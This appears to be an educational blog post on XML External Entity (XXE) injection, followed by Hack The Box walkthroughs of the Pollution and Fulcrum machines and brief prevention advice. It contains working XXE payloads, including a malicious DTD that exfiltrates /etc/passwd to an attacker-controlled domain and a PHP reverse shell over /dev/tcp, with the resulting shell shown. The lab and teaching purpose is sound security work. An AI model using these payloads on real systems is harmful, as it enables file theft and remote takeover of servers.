What is XML External Entity Injection (XXE)?#
This vulnerability has to do with how certain web applications process XML data. If attackers are able to exploit this vulnerability, they can often view files on the application’s file system, and potentially run system commands or interact with other back-end systems.
Okay, I understand what XML (Extensible Markup Language) is but what are these external entities?
- XML External Entities are customized entities that allow for inclusion of content from external sources. These entities need to be defined in a Document Type Definition (DTD), or an XML schema.
These vulnerabilities mostly arise because some applications use XML formatting to transmit data between the client browser and the server. Because most of the time the ability to process XML is integrated by an API, web developers will include it on their applications without realizing that some of the functionalities of XML can be dangerous.
Different Kinds of XXE Attacks#
There are lots of different contexts in which you could get use out of an XXE injection, but we are going to hone in on just a few:
- Retrieving Files
- Performing SSRF
- Exfiltrating Data (Blind, so out-of-band)
- Retrieving Error Messages
Retrieving Files with XXE#
In this case, we need to define an external entity that contains the contents of a file and try to get the application to return that content in the response.
The application is already going to be using XML, so we need to introduce or edit a DOCTYPE element that defines the entity and contains the path to the file we want. Then we can edit a data value in the XML so that it calls our defined external entity, returning the desired file in the response.
For example, a game website checks the rank of a player like so:
<?xml version="1.0" encoding="UTF-8"?>
<checkRank>
<playerId>
32
</playerId>
</checkRank>
If the application doesn’t perform any defenses against XXE attacks, we can make an entity that points to /etc/passwd and call it like so:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<checkRank>
<playerId>
&xxe;
</playerId>
</checkRank>
This would probably tell us we submitted an invalid playerId, but it would also respond with the contents of the /etc/passwd file.
Performing SSRF with XXE#
SSRF is just when we get the application to trigger an HTTP request to some URL that the target server has access to.
In this case, we can define an entity using the URL we want the server to call out to and use the defined entity to call that entity. If we are able to view the response from the specified URL in the target server’s response, we have some good two-way interaction between the two systems.
You can send a request like this to try it out:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://vulnerable.com"> ]>
<checkRank>
<playerId>
&xxe;
</playerId>
</checkRank>
Finding Blind XXE#
If we can’t actually see our entities in the response but still have reason to believe that they could be executed, then we need to try some blind techniques. We can do this using a combination of out-of-band network interactions and trying to trigger verbose parsing errors.
Using OAST#
We can try to determine if our payloads are working by having the target server reach out to a domain that we control like this:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://YOUR_DOMAIN"> ]>
<checkRank>
<playerId>
&xxe;
</playerId>
</checkRank>
Sometimes though, when we use regular entities we might get blocked because of some input validation or hardening the developers implemented. In this case, we might se some success using parameter entities instead, which are entities that can only be referenced somewhere else in the DTD. We can declare one like this:
<!ENTITY % customparameterentity "this is the value of the entity" >
We would then add another reference to the parameter using the % character instead of the typical & character.
%customparameterentity
So we could test for blind XXE like this:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://YOUR_DOMAIN"> %xxe; ]>
This declares the xxe parameter entity and then uses it in the same DTD, which should cause a DNS lookup to the domain provided. Because you are assumed to control this domain, you can monitor it and see if a connection was made.
Exfiltrating Data#
We can sometimes exfiltrate data using blind techniques, but it requires us to host the DTD on a system that we control, then invoke that external DTD within the in-band XXE payload like this:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://YOUR_DOMAIN/?x=%file;'>">
%eval;
%exfiltrate;
This above DTD defines a file parameter entity that contains the contents of the /etc/passwd file. Then the eval parameter entity contains a dynamic declaration of the other entity exfiltrate, which will be evaluated when the target server makes a request to the domain we control. Finally, it calls the eval and exfiltrate entities to first have eval declare exfiltrate and then exfiltrate to evaluate the requested URL.
We then need to host this somewhere that we control and request the following from the target server:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://YOUR_DOMAIN/evil.dtd"> %xxe;]>
This makes an entity called xxe and then calls it to trigger a request to the attacker-controlled endpoint, YOUR_DOMAIN. At this point, the steps in the malicious DTD are executed and the /etc/passwd file is transmitted to the attacker’s server.
Triggering Error Messages#
Another approach would be triggering an error that contains sensitive information that you want to retrieve. For example, let’s say that you trigger an XML parsing error using the following malicious DTD:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
In this case, we define an entity called file that points to the contents of the /etc/passwd file. We have another entity called eval that declares the error entity which will be evaluated by loading the nonexistent file.
So the process flow tries to evaluate the contents of the error file which does not exist, which will result in an error message that contains the /etc/passwd file contents.
Repurposing Local DTDs#
If you can’t exfiltrate data with an out-of-band strategy. you might still be able to trigger errors with internal DTDs that reveal sensitive information.
This works because of a quirk in the XML specifications: if a DTD uses both internal and external DTD declarations, the internal DTD can redefine entities from the external DTD. This will often relax the restriction on using XML parameter entities within the definitions of other parameter entities.
This allows us to use an error-based technique from within an internal DTD if the entity that we use is redefining an entity that is declared in an external DTD.
- If out-of-band connections are blocked you would need to reference an external DTD that is local to the application servers.
For example, imagine there is a DTD file on a filesystem at /usr/local/test.dtd that defines an entity called custom. We could trigger an XML parsing error message that contains the contents of a file by using both internal and external DTDs like this:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/test.dtd">
<!ENTITY % custom'
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "
<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
The DTD does the following:
- Define an entity called
local_dtdthat points to the external DTD on the file system. - Redefine the
customentity which is already defined in the external DTD file to contain the error-based exploit from earlier. - Use the
local_dtdentity so that the external DTD is interpreted, including the redefinedcustomentity.
Finding Hidden XXE Attack Surfaces#
Some of the attack surfaces will be common because the normal HTTP traffic should contain the XML in requests, but sometimes the requests don’t contain any XML.
XInclude Attacks#
Some applications receive data and embed it into XML on the back-end. You might be able to use XInclude, which is part of the XML specification that lets you build documents from sub-documents.
Even in instances where you only control one data value that gets parsed into XML, you can reference the XInclude namespace to include another file like this:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
XXE with File Upload#
Sometimes you can upload files or images that contain XML functionality or subcomponents. Examples of this would be SVG images and DOCX.
This might be useful if a web application supports images like JPEG and PNG but also has support for SVG. In this case you could submit a malicious SVG image that can take advantage of XML parsing errors.
XML with Content Type#
As we messed with before when learning about file upload attacks, we can sometimes change the Content-Type of a request and still get valid responses.
We might be able to just change a request from Content-Type: application/x-www-form-urlencoded to Content-Type: text/xml, allowing us to submit the XML and get it parsed on the application.
Finding XXE Vulnerabilities#
The general steps are as follows:
- Test for file retrieval by trying to read some system file you know exists.
- Test for blind XXE and see if you can get a callback on your machine.
- Test for vulnerable inclusion of user supplied data by trying the
XIncludeattack to retrieve a well-known file.
HTB Pollution#
After we do some subdomain enumeration we can find a forum where we can make an account and interact with a file called procy_history.txt which notably, defines some entities:
<item>
<time>Thu Sep 22 18:29:34 BRT 2022</time>
<url><![CDATA[http://collect.htb/set/role/admin]]></url>
<host ip="192.168.1.6">collect.htb</host>
<port>80</port>
<protocol>http</protocol>
<method><![CDATA[POST]]></method>
<path><![CDATA[/set/role/admin]]></path>
<extension>null</extension>
<request base64="true"><![CDATA[UE9TVCA---SNIP---5N2JhZg==]]></request>
<status>302</status>
<responselength>296</responselength>
<mimetype></mimetype>
<response base64="true"><![CDATA[SFRUUC8x---SNIP---OA0KDQo=]]></response>
<comment></comment>
</item>
The request and response tags contain base64-encoded information that we can use to see a request:
POST /set/role/admin HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=r8qne20hig1k3li6prgk91t33j
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
token=ddac62a28254561001277727cb397baf
Notice how this request doesn’t contain information for a specific user except for the cookie. We can swap this out for out own cookie and get access to the admin page.

This redirects to the admin page that we can look at in the browser:

Filling out this form sends a request to the /api endpoint containing XML data:

The response is JSON data and doesn’t seem to reflect any of our input, which means we need to try a blind approach. Let’s make a payload to try out:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://10.10.14.94/xxe">
%ext;
]>
<root>
<method>
POST
</method>
<uri>
/auth/register
</uri>
<user>
<username>
gabe
</username>
<password>
password
</password>
</user>
</root>
What we did was make an entity called ext and point it to our IP address, then call it afterwards. In this case we can see that it works on our listener:
╰─ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.228.126 - - [15/Nov/2023 21:13:13] code 404, message File not found
10.129.228.126 - - [15/Nov/2023 21:13:13] "GET /xxe HTTP/1.1" 404 -
We can utilize this further to exfiltrate files using some base64 encoding and by hosting our own external DTD.
We make our own DTD called xxe.dtd:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://10.10.14.94/?%file;'>">
%eval;
%exfil;
In this case, we make a file entity that points to a base64-encoded /etc/hostname file from the file system. Then the eval entity declares another entity called exfil that sends the encoded contents of file to our machine.
We can change our original request to ask for xxe.dtd instead of just xxe and send it to see the following:
╰─ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.228.126 - - [15/Nov/2023 21:15:40] "GET /xxe.dtd HTTP/1.1" 200 -
10.129.228.126 - - [15/Nov/2023 21:15:40] "GET /?cG9sbHV0aW9uCg== HTTP/1.1" 200 -
╰─ echo "cG9sbHV0aW9uCg==" | base64 -d
pollution
We are able to read files on the system, which is what we can do to read files that help us get a foothold later down the line.
HTB Fulcrum#
This machine has a website that seems to be an endpoint for making API requests. We can capture a request to it and observe the following:

Noticing how it accepts XML data, we can try a blind XXE test to see if it can make a call to our machine just like the last time:

And we can observe the response on our listener:
╰─ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.136.254 - - [15/Nov/2023 21:34:15] code 404, message File not found
10.129.136.254 - - [15/Nov/2023 21:34:15] "GET /xxe HTTP/1.0" 404 -
We can go ahead and try to exfil files like the last machine as well by making the DTD file, hosting it on our machine, and requesting xxe.dtd instead:

And on our listener we get a response of the base64 encoded file contents that we can decode:
╰─ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.136.254 - - [15/Nov/2023 21:36:25] "GET /xxe.dtd HTTP/1.0" 200 -
10.129.136.254 - - [15/Nov/2023 21:36:25] "GET /?ZnVsY3J1bQo= HTTP/1.0" 200 -
╰─ echo "ZnVsY3J1bQo=" | base64 -d
fulcrum
If we look around we can find the source for port 4 at /var/www/uploads/index.php and we can read the following:
<?php
if($_SERVER['REMOTE_ADDR'] != "127.0.0.1")
{
echo "<h1>Under Maintance</h1><p>Please <a href=\"http://" . $_SERVER['SERVER_ADDR'] . ":4/index.php?page=home\">try again</a> later.</p>";
}else{
$inc = $_REQUEST["page"];
include($inc.".php");
}
?>
It looks like if the request comes from a non-localhost address, it will show us the error message we would see when visiting the page. Another important thing is about this though is that the page parameter is being used and we might be able to get some cool SSRF off of it.
We can first test out the functionality like this:

And we get a response on our listener that shows us something interesting:
╰─ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.136.254 - - [15/Nov/2023 21:46:28] code 404, message File not found
10.129.136.254 - - [15/Nov/2023 21:46:28] "GET /xxe.php HTTP/1.0" 404 -
The page is requesting for a php file, so we can try out hosting a simple reverse shell like this and see if it works:
╰─ cat xxe.php
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.94/1337 0>&1'"); ?>
We can then repeat the same earlier request and notice that we get a shell:
#on the python http server
╰─ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.136.254 - - [15/Nov/2023 21:49:15] "GET /xxe.php HTTP/1.0" 200 -
#on our listener
╰─ nc -lvp 1337
listening on [any] 1337 ...
connect to [10.10.14.94] from fulcrum.htb [10.129.136.254] 40946
bash: cannot set terminal process group (1173): Inappropriate ioctl for device
bash: no job control in this shell
www-data@fulcrum:~/uploads$
So another example of mostly the same kind of exploit but taking it just a step further.
Prevention#
usually this vulnerability is present because the XML parsing library being used contains potentially dangerous features that the application doesn’t really use. So all you really might have to do is disable those features that you don’t use.
It is usually enough to disable resolution of external entities and disable XInclude support. this can be done in different ways depending on which XML parsing library or API you are using.